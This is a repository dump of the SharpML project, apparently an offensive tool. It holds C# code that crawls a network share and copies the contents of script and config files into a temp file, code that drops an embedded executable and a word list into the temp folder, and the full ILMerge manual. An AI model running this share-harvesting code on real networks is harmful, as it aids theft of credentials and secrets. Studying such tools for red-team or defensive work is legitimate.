https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/bin/x86/Debug/ILMerge/SharpML.exe -------------------------------------------------------------------------------- /bin/x86/Debug/ILMerge/SharpML.merge.json: -------------------------------------------------------------------------------- 1 | {"General":{"OutputFile":"C:\\Users\\tomka\\source\\repos\\SharpML\\bin\\x86\\Debug\\ILMerge\\SharpML.exe","TargetPlatform":"v4,C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319","KeyFile":null,"AlternativeILMergePath":null,"InputAssemblies":["C:\\Users\\tomka\\source\\repos\\SharpML\\bin\\x86\\Debug\\SharpML.exe","C:\\Users\\tomka\\source\\repos\\SharpML\\packages\\NDesk.Options.0.2.1\\lib\\NDesk.Options.dll"]},"Advanced":{"AllowMultipleAssemblyLevelAttributes":false,"AllowWildCards":false,"AllowZeroPeKind":false,"AttributeFile":null,"Closed":false,"CopyAttributes":true,"DebugInfo":true,"DelaySign":false,"DeleteCopiesOverwriteTarget":false,"ExcludeFile":"","FileAlignment":512,"Internalize":false,"Log":false,"LogFile":null,"PublicKeyTokens":true,"TargetKind":null,"UnionMerge":false,"Version":null,"XmlDocumentation":false,"AllowDuplicateType":null,"SearchDirectories":["C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.5\\","C:\\Users\\tomka\\source\\repos\\SharpML\\bin\\x86\\Debug\\","C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Access.Dao\\15.0.0.0__71e9bce111e9429c\\","C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.Interop.Excel\\15.0.0.0__71e9bce111e9429c\\","C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop\\15.0.0.0__71e9bce111e9429c\\","C:\\Windows\\assembly\\GAC_MSIL\\Office\\15.0.0.0__71e9bce111e9429c\\"]}} -------------------------------------------------------------------------------- /bin/x86/Debug/ILMerge/SharpML.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/bin/x86/Debug/ILMerge/SharpML.pdb -------------------------------------------------------------------------------- /bin/x86/Debug/NDesk.Options.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/bin/x86/Debug/NDesk.Options.dll -------------------------------------------------------------------------------- /bin/x86/Debug/SharpML.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/bin/x86/Debug/SharpML.exe -------------------------------------------------------------------------------- /bin/x86/Debug/SharpML.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /bin/x86/Debug/SharpML.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/bin/x86/Debug/SharpML.pdb -------------------------------------------------------------------------------- /dataMiner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | 7 | namespace SharpML 8 | { 9 | public class dataMiner 10 | { 11 | 12 | public static void ProcessDirectory(string networkshare) 13 | { 14 | List extensions = new List { "bat", "vbs", "cmd", "ps1", "sh", "pl", "txt", "xml", "cfg", "conf", "ini", "vba", "inf", "prf", "json", "cmp", "sql" }; 15 | foreach (var file in Directory.EnumerateFiles(networkshare, "*.*", SearchOption.AllDirectories)) 16 | { 17 | 18 | string ext = Path.GetExtension(file); 19 | if (extensions.Any(ext.Contains)) 20 | { 21 | var fltext = File.ReadAllLines(file); 22 | foreach (string fl in fltext) 23 | { 24 | using (System.IO.StreamWriter filered = new System.IO.StreamWriter(System.Environment.GetEnvironmentVariable("TEMP") + @"\model_data.txt", true)) 25 | { 26 | filered.WriteLine(fl); 27 | } 28 | } 29 | } 30 | else 31 | { 32 | continue; 33 | } 34 | } 35 | } 36 | } 37 | 38 | 39 | 40 | 41 | 42 | } 43 | -------------------------------------------------------------------------------- /dropDependencies.cs: -------------------------------------------------------------------------------- 1 | using SharpML.Properties; 2 | using System.IO; 3 | 4 | namespace SharpML 5 | { 6 | public class DropDependencies 7 | { 8 | public string DropModeltoDisk(string random_model_name) 9 | { 10 | string path_to_drop = Path.GetTempPath() + random_model_name + "mod.exe"; 11 | File.WriteAllBytes(path_to_drop, Resources.model); 12 | return path_to_drop; 13 | } 14 | 15 | public string DropRulestoDisk(string random_model_name) 16 | { 17 | string path_to_drop = Path.GetTempPath() + random_model_name + "rul.bin"; 18 | File.WriteAllBytes(path_to_drop, Resources.rules); 19 | return path_to_drop; 20 | } 21 | 22 | public string Drop10ktoDisk(string random_model_name) 23 | { 24 | string path_to_drop = Path.GetTempPath() + random_model_name + "tenk.txt"; 25 | File.WriteAllText(path_to_drop, Resources._10k); 26 | return path_to_drop; 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /img/github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/img/github.png -------------------------------------------------------------------------------- /img/sharpml_logic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/img/sharpml_logic.png -------------------------------------------------------------------------------- /obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/Debug/SharpML.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 8bf608457315c9fbe2a4fd7742a40ed7d50f45f1 2 | -------------------------------------------------------------------------------- /obj/Debug/SharpML.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\tomka\source\repos\SharpML\bin\Debug\SharpML.exe 2 | C:\Users\tomka\source\repos\SharpML\bin\Debug\SharpML.pdb 3 | C:\Users\tomka\source\repos\SharpML\obj\Debug\SharpML.csprojAssemblyReference.cache 4 | C:\Users\tomka\source\repos\SharpML\obj\Debug\SharpML.csproj.CoreCompileInputs.cache 5 | C:\Users\tomka\source\repos\SharpML\obj\Debug\SharpML.exe 6 | C:\Users\tomka\source\repos\SharpML\obj\Debug\SharpML.pdb 7 | -------------------------------------------------------------------------------- /obj/Debug/SharpML.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/Debug/SharpML.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /obj/Debug/SharpML.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/Debug/SharpML.exe -------------------------------------------------------------------------------- /obj/Debug/SharpML.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/Debug/SharpML.pdb -------------------------------------------------------------------------------- /obj/Debug/build.force: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/Debug/build.force -------------------------------------------------------------------------------- /obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.Properties.Resources.resources -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.csproj.CopyComplete -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 99224db2373c9460de9ba7b4f3a30c43062ebc7a 2 | -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\tomka\source\repos\SharpML\bin\x86\Debug\SharpML.exe 2 | C:\Users\tomka\source\repos\SharpML\bin\x86\Debug\SharpML.pdb 3 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.csprojAssemblyReference.cache 4 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.csproj.CoreCompileInputs.cache 5 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.csproj.CopyComplete 6 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.exe 7 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.pdb 8 | C:\Users\tomka\source\repos\SharpML\bin\x86\Debug\SharpML.exe.config 9 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.csproj.ResolveComReference.cache 10 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.Properties.Resources.resources 11 | C:\Users\tomka\source\repos\SharpML\obj\x86\Debug\SharpML.csproj.GenerateResource.cache 12 | C:\Users\tomka\source\repos\SharpML\bin\x86\Debug\NDesk.Options.dll 13 | -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csproj.ResolveComReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.csproj.ResolveComReference.cache -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.exe -------------------------------------------------------------------------------- /obj/x86/Debug/SharpML.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/SharpML.pdb -------------------------------------------------------------------------------- /obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /obj/x86/Debug/TempPE/Resource1.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/TempPE/Resource1.Designer.cs.dll -------------------------------------------------------------------------------- /obj/x86/Debug/TempPE/resx.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/obj/x86/Debug/TempPE/resx.Designer.cs.dll -------------------------------------------------------------------------------- /packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.3.0.29/.signature.p7s -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/ILMerge.3.0.29.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.3.0.29/ILMerge.3.0.29.nupkg -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/build/ILMerge.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | $(MSBuildThisFileDirectory)..\tools\net452\ILMerge.exe 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/docs/ilmerge-manual.md: -------------------------------------------------------------------------------- 1 | # ILMerge 2 | 3 | Michael Barnett
4 | Research in Software Engineering (RiSE)
5 | Microsoft Research
6 | Copyright © Microsoft Corporation. All rights reserved. 7 | 8 | # 1. Introduction 9 | 10 | This document describes the ILMerge utility which merges multiple .NET assemblies into a single assembly. However, some .NET assemblies may not be able to be merged because they may contain features such as unmanaged code. I would highly recommend using peverify (the .NET Framework SDK tool) on the output of ILMerge to guarantee that the output is verifiable and will load in the .NET runtime. 11 | 12 | ILMerge is packaged as a console application. But all of its functionality is also accessible programmatically. Note that Visual Studio **does** allow one to add an executable as a reference, so you can write a client that uses ILMerge as a library. 13 | 14 | ILMerge takes a set of _input assemblies_ and merges them into one _target assembly_. The first assembly in the list of input assemblies is the _primary assembly_. When the primary assembly is an executable, then the target assembly is created as an executable with the same entry point as the primary assembly. Also, if the primary assembly has a strong name, and a .snk file is provided, then the target assembly is re-signed with the specified key so that it also has a strong name. 15 | 16 | Note that anything that depended upon any of the names of the input assemblies, e.g., configuration files, must be updated to refer instead to the name of the target assembly. 17 | 18 | Any Win32 Resources in the primary assembly are copied over into the target assembly. 19 | 20 | There are many options that control the behavior of ILMerge. These are described in the next section. 21 | 22 | # 2. Public Interface 23 | 24 | The public interface for ILMerge is defined in the ILMerging namespace as the class ILMerge. 25 | 26 | ```csharp 27 | namespace ILMerging 28 | { 29 | public class ILMerge { } 30 | } 31 | ``` 32 | 33 | To use this class programmatically, just create an instance using the default (nullary) constructor. There are several properties and methods which are used to affect the behavior of the merging. The method `Merge()` is called to actually perform the merging. 34 | 35 | ## 2.1 AllowDuplicateType 36 | 37 | ```csharp 38 | public void AllowDuplicateType(string typeName); 39 | ``` 40 | 41 | The normal behavior of ILMerge is to not allow there to be more than one public type with the same name. If such a duplicate is found, then an exception is thrown. However, ILMerge can just rename the type so that it no longer causes a conflict. For private types, this is not a problem since no outside client can see it anyway, so ILMerge just does the renaming by default. For public types, it is not often a useful feature to have it renamed. However, there are situations where it is needed. In particular, for obfuscated assemblies, it seems that the obfuscator defines an attribute and creates an assembly-level attribute for the obfuscated assembly using that attribute. This would mean that obfuscated assemblies cannot be merged. 42 | 43 | So this option allows the user to either allow all public types to be renamed when they are duplicates, or to specify it for arbitrary type names. On the command line, there can be as many options as desired, if followed by a colon and a type name, otherwise just specify it alone with no colon (and type name) to allow all duplicates. 44 | 45 | When used through the API, an argument of "null" means to allow all public types to be renamed. 46 | 47 | **Default:** no duplicates of public types allowed 48 | 49 | **Command line option:** `[/allowDup[:typeName]]*` 50 | 51 | ## 2.2 AllowMultipleAssemblyLevelAttributes 52 | 53 | ```csharp 54 | public bool AllowMultipleAssemblyLevelAttributes { get; set; } 55 | ``` 56 | 57 | When this is set before calling Merge, then if the CopyAttributes property (Section 2.7) is also set, any assembly-level attributes names that have the same type are copied over into the target directory as long as the definition of the attribute type specifies that "AllowMultiple" is true. 58 | 59 | **Default:** `false` 60 | 61 | **Command line option:** `/allowMultiple` 62 | 63 | ## 2.3 AllowWildCards 64 | 65 | ```csharp 66 | public bool AllowWildCards { get; set; } 67 | ``` 68 | 69 | When this is set before calling Merge, any wild cards in file names are expanded and all matching files will be used as input. Note that because the wild card matching is done by a call to Directory.GetFiles, it does not allow the characters ".." to appear in a file name. So if you want to specify a relative path containing ".." to move up a directory, you will have to use it with the "/lib" option (Section 2.20). That option does allow the use of ".." to move up directories. 70 | 71 | **Default:** `false` 72 | 73 | **Command line option:** `/wildcards` 74 | 75 | ## 2.4 AllowZeroPeKind 76 | 77 | ```csharp 78 | public bool AllowZeroPeKind { get; set; } 79 | ``` 80 | 81 | When this is set before calling Merge, then if an assembly's PeKind flag (this is the value of the field listed as .corflags in the Manifest) is zero it will be treated as if it was ILonly. This can be used to allow C++ assemblies to be merged; it does not appear that the C++ compiler writes the value as ILonly. However, if such an assembly has any non-IL features, then they will probably not be copied over into the target assembly correctly. So please use this option with caution. 82 | 83 | **Default:** `false` 84 | 85 | **Command line option:** `/zeroPeKind` 86 | 87 | ## 2.5 AttributeFile 88 | 89 | ```csharp 90 | public string AttributeFile { get; set; } 91 | ``` 92 | 93 | If this is set before calling Merge, then it specifies the path and filename to an _atttribute assembly_, an assembly that will be used to get all of the assembly-level attributes such as Culture, Version, etc. It will also be used to get the Win32 Resources from. It is mutually exclusive with the CopyAttributes property (Section 2.7). When it is not specified, then the Win32 Resources from the primary assembly are copied over into the target assembly. If it is not a full path, then the current directory is used. 94 | 95 | **Default:** `null` 96 | 97 | **Command line option:** `/attr:filename` 98 | 99 | ## 2.6 Closed 100 | 101 | ```csharp 102 | public bool Closed { get; set; } 103 | ``` 104 | 105 | When this is set before calling Merge, then the "transitive closure" of the input assemblies is computed and added to the list of input assemblies. An assembly is considered part of the transitive closure if it is referenced, either directly or indirectly, from one of the originally specified input assemblies and it has an external reference to one of the input assemblies, or one of the assemblies that has such a reference. Complicated, but that is life... 106 | 107 | **Default:** `false` 108 | 109 | **Command line option:** `/closed` 110 | 111 | ## 2.7 CopyAttributes 112 | 113 | ```csharp 114 | public bool CopyAttributes { get; set; } 115 | ``` 116 | 117 | When this is set before calling Merge, then the assembly level attributes of each input assembly are copied over into the target assembly. Any duplicate attribute overwrites a previously copied attribute. If you want to allow duplicates (for those attributes whose type specifies "AllowMultiple" in their definition), then you can also set the AllowMultipleAssemblyLevelAttributes (Section 2.2). The input assemblies are processed in the order they are specified. This option is mutually exclusive with specifying an attribute assembly, i.e., the property AttributeFile (Section 2.5). When an attribute assembly is specified, then no assembly-level attributes are copied over from the input assemblies. 118 | 119 | **Default:** `false` 120 | 121 | **Command line option:** `/copyattrs` 122 | 123 | ## 2.8 DebugInfo 124 | 125 | ```csharp 126 | public bool DebugInfo { get; set; } 127 | ``` 128 | 129 | When this is set to true, ILMerge creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies. If you do not want a .pdb file created for the output assembly, either set this property to false or else specify the /ndebug option at the command line. 130 | 131 | **Default:** `true` 132 | 133 | **Command line option:** `/ndebug` 134 | 135 | ## 2.9 DelaySign 136 | 137 | ```csharp 138 | public bool DelaySign { get; set; } 139 | ``` 140 | 141 | When this is set before calling Merge, then the target assembly will be delay signed. This can be set only in conjunction with the `/keyfile` option (Section 2.13). 142 | 143 | **Default:** `false` 144 | 145 | ## 2.10 ExcludeFile 146 | 147 | ```csharp 148 | public string ExcludeFile { get; set; } 149 | ``` 150 | 151 | This property is used only in conjunction with the Internalize property (Section 2.12). When this is set before calling Merge, it indicates the path and filename that will be used to identify types that are not to have their visibility modified. If Internalize is true, but ExcludeFile is "", then all types in any assembly other than the primary assembly are made non-public. Setting this property implicitly sets Internalize to true. 152 | 153 | The contents of the file should be one regular expression per line. The syntax is that defined in the .NET namespace System.Text.RegularExpressions for regular expressions. The regular expressions are matched against each type's full name, e.g., "System.Collections.IList". If the match fails, it is tried again with the assembly name (surrounded by square brackets) prepended to the type name. Thus, the pattern "\\[A\\].\\\*" excludes all types in assembly A from being made non-public. (The backslashes are required because the string is treated as a regular expression.) The pattern "N.T" will match all types named T in the namespace named N no matter what assembly they are defined in. 154 | 155 | It is important to note that the regular expressions are _not_ anchored to the beginning of the string; if this is desired, use the appropriate regular expression operator characters to do so. 156 | 157 | **Default:** "" 158 | 159 | **Command line option:** `/internalize[:excludeFile]` 160 | 161 | ## 2.11 FileAlignment 162 | 163 | ```csharp 164 | public int FileAlignment { get; set; } 165 | ``` 166 | 167 | This controls the file alignment used for the target assembly. The setter sets the value to the largest power of two that is no larger than the supplied argument, and is at least 512. 168 | 169 | **Default:** `512` 170 | 171 | **Command line option:** `/align:n` 172 | 173 | ## 2.12 Internalize 174 | 175 | ```csharp 176 | public bool Internalize { get; set; } 177 | ``` 178 | 179 | This controls whether types in assemblies _other than_ the primary assembly have their visibility modified. When it is true, then all non-exempt types that are visible outside of their assembly have their visibility modified so that they are not visible from outside of the merged assembly. A type is exempt if its _full name_ matches a line from the ExcludeFile (Section 2.10) using the .NET regular expression engine. 180 | 181 | **Default:** `false` 182 | 183 | **Command line option:** `/internalize[:excludeFile]` 184 | 185 | ## 2.13 KeyFile 186 | 187 | ```csharp 188 | public string KeyFile { get; set; } 189 | ``` 190 | 191 | When this is set before calling Merge, it specifies the path and filename to a .snk file. The target assembly will be signed with its contents and will then have a strong name. It can be used with the DelaySign property (Section 2.9) to have the target assembly delay signed. This can be done even if the primary assembly was fully signed. 192 | 193 | **Default:** `null` 194 | 195 | **Command line option:** `/keyfile:filename` 196 | 197 | ## 2.14 Log 198 | 199 | ```csharp 200 | public bool Log { get; set; } 201 | ``` 202 | 203 | When this is set before calling Merge, then log messages are written. It is used in conjunction with the LogFile property. If Log is true, but LogFile is null, then log messages are written to Console.Out. To specify this behavior on the command line, the option "/log" can be given without a log file. 204 | 205 | **Default:** `false` 206 | 207 | **Command line option:** `/log[:logfile]` 208 | 209 | ## 2.15 LogFile 210 | 211 | ```csharp 212 | public string LogFile { get; set; } 213 | ``` 214 | 215 | When this is set before calling Merge, it indicates the path and filename that log messages are written to. If Log is true, but LogFile is null, then log messages are written to Console.Out. 216 | 217 | **Default:** `null` 218 | 219 | **Command line option:** `/log[:logfile]` 220 | 221 | ## 2.16 Merge 222 | 223 | ```csharp 224 | public void Merge(); 225 | ``` 226 | 227 | Once all desired options are set, this method performs the actual merging. 228 | 229 | ## 2.17 OutputFile 230 | 231 | ```csharp 232 | public string OutputFile { get; set; } 233 | ``` 234 | 235 | This must be set before calling Merge. It specifies the path and filename that the target assembly will be written to. 236 | 237 | **Default:** `null` 238 | 239 | **Command line option:** `/out:filename` 240 | 241 | ## 2.18 PublicKeyTokens 242 | 243 | ```csharp 244 | public bool PublicKeyTokens { get; set; } 245 | ``` 246 | 247 | This must be set before calling Merge. It indicates whether external assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true). 248 | 249 | **Default:** `true` 250 | 251 | **Command line option:** `/useFullPublicKeyForReferences` 252 | 253 | ## 2.19 SetInputAssemblies 254 | 255 | ```csharp 256 | public void SetInputAssemblies(string[] assems); 257 | ``` 258 | 259 | When used programmatically, each element of the array should contain the path and filename of an input assembly. The first element of the array is considered to be the primary assembly. 260 | 261 | ## 2.20 SetSearchDirectories 262 | 263 | ```csharp 264 | public void SetSearchDirectories(string[] dirs); 265 | ``` 266 | 267 | If specified, this sets the directories to be used to search for input assemblies. When used programmatically, each element of the array should contain a directory name. When specified on the command line, use a separate "/lib" option for each directory. 268 | 269 | **Command line option:** `/lib:directory` 270 | 271 | ## 2.21 SetTargetPlatform 272 | 273 | ```csharp 274 | public void SetTargetPlatform(string platform, string dir); 275 | ``` 276 | 277 | This method sets the .NET Framework for the target assembly to be the one specified by platform. Valid strings for the first argument are `v1`, `v1.1`, `v2`, and `v4`;. The `v` is case insensitive and is also optional. This way ILMerge can be used to "cross-compile", i.e., it can run in one version of the framework and generate the target assembly so it will run under a different assembly. The second argument is the directory in which `mscorlib.dll` is to be found. 278 | 279 | **Command line option:** `/targetplatform:version,platformdirectory` 280 | 281 | ## 2.22 StrongNameLost 282 | 283 | ```csharp 284 | public bool StrongNameLost { get; } 285 | ``` 286 | 287 | Once merging is complete, this property is true if and only if the primary assembly had a strong name, but the target assembly does not. This can occur when an .snk file is not specified, or if something goes wrong trying to read its contents. 288 | 289 | ## 2.23 TargetKind 290 | 291 | ```csharp 292 | public ILMerge.Kind { get; set; } 293 | ``` 294 | 295 | This controls whether the target assembly is created as a library, a console application or as a Windows application. When it is not specified, then the target assembly will be the same kind as that of the primary assembly. (In that case, the file extensions found on the specified target assembly and the primary assembly must match.) When it is specified, then the file extension of the target assembly must match the specification. 296 | 297 | The possible values are `ILMerge.Kind.{Dll, Exe, WinExe}` 298 | 299 | **Default:** `ILMerge.Kind.SameAsPrimaryAssembly` 300 | 301 | **Command line option:** `/target:(library|exe|winexe)` 302 | 303 | ## 2.24 UnionMerge 304 | 305 | ```csharp 306 | public bool { get; set; } 307 | ``` 308 | 309 | When this is true, then types with the same name are all merged into a single type in the target assembly. The single type is the union of all of the individual types in the input assemblies: it contains all of the members from each of the corresponding types in the input assemblies. It cannot be specified at the same time as `/allowDup`. 310 | 311 | **Default:** `false` 312 | 313 | **Command line option:** `/union` 314 | 315 | ## 2.25 Version 316 | 317 | ```csharp 318 | public System.Version Version { get; set; } 319 | ``` 320 | 321 | When this has a non-null value, then the target assembly will be given its value as the version number of the assembly. When specified on the command line, the version is read in as a string and should look like "6.2.1.3" (but without the quote marks). The version must be a valid assembly version as defined by the attribute AssemblyVersion in the System.Reflection namespace. 322 | 323 | **Default:** `null` 324 | 325 | **Command line option:** `/ver:version` 326 | 327 | ## 2.26 XmlDocumentation 328 | 329 | ```csharp 330 | public bool XmlDocumentation { get; set; } 331 | ``` 332 | 333 | This property controls whether XML documentation files are merged to produce an XML documentation file for the target assembly. 334 | 335 | **Default:** `false` 336 | 337 | **Command line option:** `/xmldocs` 338 | 339 | # 3 Command Line Usage 340 | 341 | The full command line for ILMerge is: 342 | 343 | ``` 344 | ilmerge [/lib:directory]* [/log[:filename]] [/keyfile:filename [/delaysign]] [/internalize[:filename]] 345 | [/t[arget]:(library|exe|winexe)] [/closed] [/ndebug] [/ver:version] [/copyattrs [/allowMultiple]] 346 | [/xmldocs] [/attr:filename] ([/targetplatform:[,]]|v1|v1.1|v2|v4) 347 | [/useFullPublicKeyForReferences] [/zeroPeKind] [/wildcards] [/allowDup[:typename]]* 348 | [/allowDuplicateResources] [/union] [/align:n] 349 | /out:filename [...] 350 | ``` 351 | 352 | All options that take arguments can use either `:` or `=` as a separator. Options can be in any order, but all of the options must precede the list of input assemblies. 353 | 354 | # 4 Troubleshooting 355 | 356 | ## 4.1 Input assembly not merged in correctly 357 | 358 | A common problem is that after merging some assemblies, you get an error message stating that an input assembly was not merged in correctly because it is still listed as an external reference in the merged assembly. The most common cause of this problem is that one of the input assemblies, B, has an external reference to the incorrectly merged assembly, A, and also an external reference to another assembly, C, that itself has an external reference to A. Suppose the reference to C is to a method that takes an argument whose type is defined in A. Then the type signature of the method call to the method in C still refers to the type from A even in the merged assembly. After all, ILMerge cannot go and modify the assembly C so that it now depends on the type as it is defined in the output assembly after it has been merged! 359 | 360 | The solution is to use the closed option (Section 2.6) to have ILMerge compute the transitive closure of the input assemblies to prevent this kind of "dangling reference". In the example, that would result in all three assemblies A, B, and C, being merged. There is no way to merge just A and B without there still being an external reference to A. 361 | 362 | ## 4.2 Merged assembly causes a runtime error (not present in the unmerged assemblies) 363 | 364 | The most frequent cause of problems when executing the target assembly is that ILMerge has no way to merge resources. Therefore resources are just copied over from the input assemblies into the target assembly. If these resources encode references to types defined in the input assemblies, then at runtime your program may fail because the type returned from the resource does not match the type as it is defined in the target assembly. You may even see a message that "type 'T' cannot be converted to type 'T'". This looks confusing because the messages do not show the assembly that each type is defined in. The actual error is that one type is defined in the input assembly while the other is defined in the target assembly. 365 | 366 | I do not know of any way to have ILMerge do the right thing in such cases. There is no general way to decode resources and change any type references they contain. 367 | 368 | # 5 Dependencies 369 | 370 | ILMerge is a stand-alone assembly dependent only on the v4.0 .NET Framework. (It actually uses two other assemblies: the assembly that makes up CCI itself, `System.Compiler.dll`, and `AssemblyResolver.dll`, which provides a small component for finding and loading assemblies when requested by the CCI Reader. But those assemblies have been merged into ILMerge using ILMerge before it is distributed.) 371 | 372 | # 6 Acknowledgements 373 | 374 | Without [Herman Venter](https://github.com/hermanventer), this tool could not have been written. Not only because it completely depends on CCI to provide the underlying functionality for reading, transforming, and writing IL, but because of all of his help and support. 375 | -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/tools/net452/ILMerge.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.3.0.29/tools/net452/ILMerge.exe -------------------------------------------------------------------------------- /packages/ILMerge.3.0.29/tools/net452/System.Compiler.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.3.0.29/tools/net452/System.Compiler.dll -------------------------------------------------------------------------------- /packages/ILMerge.MSBuild.Task.1.0.7/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HunnicCyber/SharpML/7690893fcbe94087049a0db5b16e3c1cdf0c040e/packages/ILMerge.MSBuild.Task.1.0.7/.signature.p7s 